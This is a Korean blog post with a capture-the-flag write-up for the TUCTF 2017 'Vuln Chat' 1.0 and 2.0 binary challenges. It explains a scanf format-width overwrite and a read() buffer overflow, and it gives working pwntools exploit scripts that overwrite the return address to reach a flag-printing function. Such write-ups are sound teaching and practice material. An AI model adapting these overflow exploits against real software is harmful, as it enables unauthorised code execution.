Notice
Recent Posts
Recent Comments
Link
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

Parkchanjin

TUCTF 2017 Vuln Chat1, 2 본문

pwn

TUCTF 2017 Vuln Chat1, 2

0xdeadc0de 2017. 11. 30. 21:37

- Vuln Chat1.0 -


위 사진을 보시면 %30s을 변수에 저장해서 scanf함수로 30글자까지 입력을 받습니다.

30글자만 입력받으면 bof를 못하는데 다행히도 %30s를 변수에 따로 저장해놓고 사용해서 Username을 입력받을 때 format변수를 %100s이든 다른걸로

덮어씌우면 됩니다.


1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
 
username = "a" * 17 + "\x00\x50\xfb\x25" + "\x33\x30\x30\x73" # %s300
chat = "a" * 49 + "\x6b\x85\x04\x08" # printflag
 
= process('./chat')
 
print p.recvuntil('Enter your username: ')
p.sendline(username)
print p.recvuntil('djinn: I have the information. But how do I know I can trust you?')
p.sendline(chat)
print p.recvall()
cs




- Vuln Chat2.0 - 


이건 간단하게 read함수에서 buf크기가 0x14인데 0x2d만큼 입력을 받아서 bof가 발생합니다.

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
 
username = "root"
chat = "a" * 43 + "\x72\x86\x04\x08"
 
= process('./vuln-chat2.0')
 
print p.recvuntil('Enter your username: ')
p.sendline(username)
print p.recvuntil(username + ": ")
p.sendline(chat)
print p.recvall()
cs


Comments